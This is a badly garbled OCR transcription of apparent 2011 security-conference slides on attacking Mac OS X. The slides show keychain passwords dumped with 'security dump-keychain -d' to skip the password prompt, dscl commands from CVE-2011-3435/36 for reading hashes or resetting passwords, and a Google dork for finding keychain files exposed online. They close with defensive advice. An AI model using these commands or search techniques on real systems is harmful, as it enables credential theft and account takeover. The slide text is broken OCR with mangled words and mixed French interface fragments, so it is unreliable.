Windows from 20711

= \ost of vulnerabillities are due to a third party soft




Introduction
Exploitation of target mode

Exploitation.of physical memory.

Exploitation of user privileges

=Xploit hative functions

Conclusion

= Using and copy stored passwords into Keychain requires
uSer password

lroussecaux

' session

Micros. . .ertificates

Evernote
/ mot de passe de "application

Evernote
Micros. . ertificates Evernote
session 14 avr, 2011 10:28:20
Systéme
Vit vyoie s e
Devoteam-SUB-CA
winUP Mot de passe 802.1X 1
WPA: WinUP Mot de passe 802.1X 3¢

com.microsoft.ipc.h mot de passe de I'a 8

) Racines du systéme
certificat

com.microsoft.ipc.k mot de passe de I'a 8

Evernote
Copier le

Exchange

Exchange Copier « Evernote »

A .
e Supprimer « Evernote »

Evernote

. Exchange
mot de passe de "application

CoogleContactSyncSe vice
KisMACWebService

Evernote Lire les informations

motae passe ge Ta.. 1¢
Evernote

14 avr, 2011 10:28:20

& Date de modifis

y WEvCryite S o
{ Devoteam-SUB-CA
WinUP

WPA: WinUP
com.microsoft.ipc.h
com.microsoft.ipc.k
Evernote

Exchange

Exchange

Exchange

Exchange

CoogleContactSyncSen

KisMACWebService

Picasa Coogle Account

Rempolissace automatiGue e ronmuiares Saran

Trousseau d'accés veut utiliser vos
informations confidentielles gardées dans
« Evernote » de votre trousseau.

Pour autoriser ceci, saisissez le mot de passe du trousseau
« session ».

Mot de passe :

Refuseri.

_ Autoriser

mut ue passe oe s zonov. euil 1
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Exploitation of target mode

=Xploit Keychain access

Conclusion

= But with “security” command, allows to bypass
password prompt ... :-)

keychain: "/Users/sudoman/Library/Keychains/login.keychain"
class: "genp"
attributes:

Ox00000007 <blob>="Evernote"

Ox00000008 <blob>=<NULL>
"acct" <blob>«"Evernote"
"cdat"<timedate>=~0x32303131303431343038323832305A00 "20110414082820Z\000"

"ertr"<auinti2>«"aapl”
"cusi"<sint32>=<NULL>

9 "desc" <blob>=<NULL>
It S my * "gena" <blob>=<NULL>
"icmt"<blob>=<NULL>

Evernote "invi"<sint32>=<NULL>

"mdat" <timedate>~0x32303131303431343038323832305A00 "20110414082820Z\000"
Password "nega"<sint32>=<NULL>

"prot"<blob>=<NULL>

"scrp"<sint32>=<NULL>
& "svce"<blob>«"Evernote"
- "tvoe" anint32>=<NULL>
Sample of “security dump-keychain -d” command

» Others extracted passwords . Safari passwords, WIFI keys, Skype

username/password, Google username/password (contact, Picasa), Exchange
username/passworda, ...

= One of these passwords is maybe root password ...
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Exploitation of target mode

Exploitation.of physical memory

=Xploit Keychain

Conclusion

» Exploitation Is possible just W|th “Iogm keychain®

—r

"/Users/sudoman/Library/Keychains/login.keychain™

"/Users/sudoman/Library/Keychains/Microsoft_Intermediate_Certificates”
"/Users/sudoman/Library/Keychains/Microsoft_Entity_Certificates”
"/Library/Keychains/System.keychain"

— == P
zbash 3.2# security list- keychalns

» Exploitation Is possible because “login.keychain™ is
automatically: open-during the session ... if only keychain
password is identical to user system password

= Opening of “system.keychain™ requires login anad
PasSsSWora goconaanananreaspeaRos

Type an administrator's name and password
- to allow Mac OS X to make changes.
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Exploitation.of physical memory

Recents tips 1o escalate priv. v

Conclusion

x» CVE-2011-3435/36 : Exploit of dscl command to dump
hashes password or to reset password without be root :

Sdscl localhost —-read /Search/Users/<User>

Sdscl localhost —-passwd /Search/Users/<User>

» Exploit "mac port” configuration to have a remote root

http://blog.infobytesec.com/2011/07/pwning-mac-os—-x-with-
evilgrade-macports.html?2m=1

» Exploit application outside of sandbox to by pass
restriction on application within sandlbox

x http://www.generation-nt.com/mac-lion-faille-sandbox—-corelabs-

actualite—-1501811.html




Conlusion
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Exploitation of target mode

Mac OS X, secured or not ? S

Conclusion

®x Secured Mac OS X is as secured as Windows

Avec Lion, OS X renforce sa sécurité

& Jéréme Saiz le 22 juillet 2011 - 13:02, dans la rubrique Technologies

CJ Aucun commentaire, soyez le premier a participer ! et 6 mentions sur Twitter, merci a tous

¥ Tweet ﬁsmre +1 2 ElLike 9

>> GRC Interchange Paris - 1er Décembre 2011 - Réservez votre place!

Avec Mac OS X Lion, Apple a renforcé la sécurité de son
systéme d'exploifetiof deEnSrenoT el HETREPE

Miller, une figure

profit« . Miller a en effet gagné plusieurs prix pour avoir hacké
MacOS X et son navigateur Safari a I'occasion de concours tel
le fameux CanSecWest.

http://www.securityvibes.fr/produits-technologies/osx-lion-securite/

» More exploits for Windows than Mac OS X because of
market Share (more users so more researches ...)
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Exploitation.of physical memory

2hysical access Is not secured

Conclusion

» By default, my son could own my-Mac Book

» by Single mode, by Target mode, by access DMA, ...

as opposed to Windows PG (using DMA)

» [o limit that, it is necessary to install software to configure
EFl password and it not easy like under BIOS !

=

Password Prompt during startup

» put, modification of material configuration allows to reset
password ...
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Optimum protection s
Conclusion
x Use full disk encryption (Filevault, Truecrypt, ...)

= Encrypt “sleepimage” file, force to remove power from RAM

» UUse a different password for system access and Keychain or use
aUtheﬂthaJ[lOﬂ by CertlflCaJ[e (ht‘g)://www.opensc—proiect.orcL/sca/wiki/LogonAuthenticate)

= [Jse strong passwords and change regularly yours passwords
x Configure system to-install-automatically security patchs
= Configure local firewall to block input connections

= [nstall antivirus system (ClamXayv, Avast, Intego, BitDefender, F-
Secure, Panda Antivirus,...)

= Disable remote services (MDNS, SMB, Web, HTTP, ...)
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Exploitation.of physical memory

Optimum protection

Conclusion

= Disable remote services (MDNS, SMB, Web, HT TP, ...

= and avoid to publish your system backup or keychain files on
Internet

® NO .... 2?22? Yes Il

x Google is your friend or not (for the victims)
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Exploitation of target mode

. - * Exploitation.of physical memory
Keychain files and GHDB

Conclusion

* GHDB = Google Hacking DataBase

Go Rl( intitle:"index of" . | | ) intitle! fi |etype,

= \ery easy to

= identify keychain files (like *.keychain)

Index of /Library/Keychains - Noticias24

Tradyj ite pag
Index of /Library/Keychains. Parent Directopache"2.2.14 (Unix)
mod_ssl2.2.14 OpenSSL/0.9.8e-fips-rhel5 mosm - h2.1 ..

Index of /Desktop/dales powerbook/dale/Library/Keychains
Traduire cette page

[DIR] Parent Directory - | login. koychaln 6-Nov-2006 14:38 198K. Apachw‘Z 2.20
(Unix) mod_ssli2.2.20 OF 2 PHP/5.3.6 mod_fastcgii2.4.2 ..

Index of /smo/Library/Keychains
Traduire cette pag
Lastmodrﬂed Size Descrlpt»or [DIR], Parent Directory, -

Index of /bu
Traduire cette page

Index of /bu. Parent Directory - 1Passwd.keychain - Menu@
OmniWeb-5.6.dma - OnvX184b.dmg - backup/ - iDive.d




and APT ?

= [SEC Partners : http://www.isecpartners.com/storage/docs/
presentations/ISEC BH2011 Mac APT.pdf

'@ Motivation
@ Preface and Background

© Anatomy of an APT
@ Social Engineering
@ Initial Exploitation
@ Local Privilege Escalation
@ Network Privilege Escalation
@ Persistence
@ Exploration
o Exfiltration

€© Conclusion
@ Summary

Introduction
Exploitation of target mode
Exploitation.of physical memory

Exploitation of user privileges

Conclusion




Questions ?

Slides; paper and tools on :

http://sudOman.blogspot.com

sganamafat]gmail.com / @sudOman
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Exploitation.of physical memory

Exploitation of user privileges

Conclusion




